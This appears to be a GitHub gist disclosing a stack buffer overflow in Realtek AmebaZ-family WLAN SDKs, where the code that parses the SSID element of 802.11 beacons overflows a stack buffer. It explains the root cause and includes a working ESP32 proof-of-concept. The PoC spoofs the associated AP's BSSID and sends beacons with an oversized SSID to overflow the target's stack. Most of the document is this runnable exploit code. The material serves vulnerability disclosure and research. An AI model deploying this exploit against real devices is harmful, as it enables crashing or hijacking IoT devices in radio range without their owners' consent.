Skip to content

Instantly share code, notes, and snippets.

@notkmhn
Last active August 16, 2026 14:20
Show Gist options
  • Select an option

  • Save notkmhn/9c3bc065421dbca7500b35791ef01c6c to your computer and use it in GitHub Desktop.

Select an option

Save notkmhn/9c3bc065421dbca7500b35791ef01c6c to your computer and use it in GitHub Desktop.
Realtek AmebaZ, AmebaZ2, AmebaZ2Plus buffer overflow handling oversized SSID IEs in 802.11 Beacon frame

Description

This PoC exploits a bug in the Realtek AmebaZ, Z2 and Z2Plus SDKs for the RTL87xxxx SoC family. For example (non exhaustive):

  • RTL8710BN
  • RTL8710BX
  • RTL8720CF

The vulnerability is in the MLME code compiled into the SDK's static WLAN libraries, e.g. lib_wlan.a and lib_wlan_z2plus.a. Affected code path is reachable when both of these conditions are satisfied:

  1. Target device is already associated to an AP as a STA. Most common deployment for IoT/smart devices using these SoCs.
  2. Attacker spoofs a crafted 802.11 beacon frame as if it's sent by the AP that the device is associated to. Matching is done by comparing the sender's MAC to the AP's BSSID. Easy to do - beacon frames are unencrypted management frames.

In other words, the vulnerable code path is easily reachable in most scenarios. The main practical condition to trigger the bug is being in radio range of an affected device.

This bug was also present in the rtl8723bs driver in the mainline Linux kernel, fixed in 2020 by this commit but the fix was never ported to the MCU SDKs.

PoC code targets the ESP32 platform as a quick n' dirty way to craft bogus 802.11 frames and was tested against an RTL8710BN SoC running smart plug firmware from a well known smart home IoT vendor.

Root cause

Once an affected device is associated with a WiFi AP, it parses beacon frames broadcast by the AP to detect changes. Some of the logic is handled by rtw_check_bcn_info, which parses the SSID IE element (IE type 0) out of a received 802.11 beacon frame and copies it into a fixed size stack buffer.

The SSID length is read straight from the frame and used as the copy length, without first checking that it does not exceed the 802.11 specified maximum SSID length of 32 bytes.

The destination buffer is only 36 bytes, so a longer SSID element overflows the stack with attacker controlled bytes. Affected code looks like this:

// ssid_buf is a 36-byte stack buffer
p = rtw_get_ie(beacon_ie, ELEM_SSID /* 0 */, &ie_len, limit);
if (p != NULL && p[1] != 0) {
    len = p[1]; // SSID length byte from the frame, 0..255
    rtw_memcpy(ssid_buf, p + 2, len); // no check against 32 or 36
}

Since the length byte can be up to 255, the copy runs off the end of the stack frame and over the saved registers and return address.

// Modified heavily from https://github.com/Jeija/esp32-80211-tx/blob/master/main/main.c
#include "freertos/FreeRTOS.h"
#include "esp_event.h"
#include "esp_system.h"
#include "esp_event.h"
#include "esp_wifi.h"
#include "nvs_flash.h"
#include "string.h"
#define BEACON_SSID_OFFSET 38
#define SRCADDR_OFFSET 10
#define BSSID_OFFSET 16
#define BSSID_VAL_BYTE_LENGTH 6
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
uint8_t CURRENT_AP_BSSID[BSSID_VAL_BYTE_LENGTH];
uint8_t beacon_raw[] = {
0x80, 0x00, // 0-1: Frame Control
0x00, 0x00, // 2-3: Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // 4-9: Destination address (broadcast)
0xba, 0xde, 0xaf, 0xfe, 0x00, 0x06, // 10-15: Source address
0xba, 0xde, 0xaf, 0xfe, 0x00, 0x06, // 16-21: BSSID
0x00, 0x00, // 22-23: Sequence / fragment number
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, // 24-31: Timestamp (GETS OVERWRITTEN TO 0 BY HARDWARE)
0x64, 0x00, // 32-33: Beacon interval
0x31, 0x04, // 34-35: Capability info
0x00, 0x00, /* FILL CONTENT HERE */ // 36-38: SSID parameter set, 0x00:length:content
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24, // 39-48: Supported rates
0x03, 0x01, 0x01, // 49-51: DS Parameter set, current channel 1 (= 0x01),
0x05, 0x04, 0x01, 0x02, 0x00, 0x00, // 52-57: Traffic Indication Map
};
static esp_err_t send_beacon(const uint8_t * ssid_contents, size_t ssid_contents_len, uint8_t bssid_val[BSSID_VAL_BYTE_LENGTH])
{
const size_t MAX_BEACON_FRAME_LEN = 512;
uint8_t beacon_frame[MAX_BEACON_FRAME_LEN];
size_t total_len = ssid_contents_len + sizeof(beacon_raw);
if (total_len < ssid_contents_len)
{
printf("[-] Tsk tsk.. Beacon frame content length overflow with %u bytes in SSID\n", ssid_contents_len);
return ESP_ERR_INVALID_ARG;
}
if (total_len >= MAX_BEACON_FRAME_LEN)
{
printf("[-] Tsk tsk.. Invalid beacon frame size. SSID len %u too large\n", ssid_contents_len);
return ESP_ERR_INVALID_ARG;
}
memcpy(beacon_frame, beacon_raw, BEACON_SSID_OFFSET - 1);
beacon_frame[BEACON_SSID_OFFSET - 1] = ssid_contents_len;
memcpy(&beacon_frame[BEACON_SSID_OFFSET], ssid_contents, ssid_contents_len);
memcpy(&beacon_frame[BEACON_SSID_OFFSET + ssid_contents_len], &beacon_raw[BEACON_SSID_OFFSET], sizeof(beacon_raw) - BEACON_SSID_OFFSET);
memcpy(&beacon_frame[SRCADDR_OFFSET], bssid_val, BSSID_VAL_BYTE_LENGTH);
memcpy(&beacon_frame[BSSID_OFFSET], bssid_val, BSSID_VAL_BYTE_LENGTH);
return esp_wifi_80211_tx(WIFI_IF_AP, beacon_frame, total_len, true);
}
static void wifi_event_handler(void* arg, esp_event_base_t event_base,
int32_t event_id, void* event_data)
{
if (event_id == WIFI_EVENT_AP_STACONNECTED)
{
printf("[+] STA Connected\n");
printf("[+] p0p g03s 7h3 w3453l!\n");
// Exploit the stack buf overflow in rtw_check_bcn_info
// Drop an SSID (IE tag 0) that's over the max size of an SSID IE per spec (32 bytes)
// Func will memcpy it into a 36 byte buffer on stack and that's that
// Conditions:
// 1. Device must be connected to an AP
// 2. Beacon sent must match the AP's BSSID
const uint8_t BEACON[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
for (int i = 0; i < 10; ++i)
{
send_beacon(BEACON, sizeof(BEACON), CURRENT_AP_BSSID);
vTaskDelay(pdMS_TO_TICKS(20));
}
}
}
void app_main(void) {
// Initialize NVS
esp_err_t ret = nvs_flash_init();
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
ESP_ERROR_CHECK(nvs_flash_erase());
ret = nvs_flash_init();
}
ESP_ERROR_CHECK(ret);
ESP_ERROR_CHECK(esp_netif_init());
ESP_ERROR_CHECK(esp_event_loop_create_default());
esp_netif_create_default_wifi_ap();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM));
ESP_ERROR_CHECK(esp_event_handler_instance_register(WIFI_EVENT, ESP_EVENT_ANY_ID, &wifi_event_handler, NULL, NULL));
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
wifi_config_t ap_config = {
.ap = {
.ssid = "test",
.ssid_len = 0,
.channel = 1,
.authmode = WIFI_AUTH_WPA2_PSK,
.password = "testtest",
.ssid_hidden = 0,
.max_connection = 4,
.beacon_interval = 60000
}
};
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config));
ESP_ERROR_CHECK(esp_wifi_start());
ESP_ERROR_CHECK(esp_wifi_set_ps(WIFI_PS_NONE));
ESP_ERROR_CHECK(esp_wifi_get_mac(WIFI_IF_AP, CURRENT_AP_BSSID));
printf("[+] WiFi AP ready\n");
//xTaskCreate(&spam_task, "spam_task", 4096, NULL, 5, NULL);
//xTaskCreate(&test_task, "test_task", 4096, NULL, 5, NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment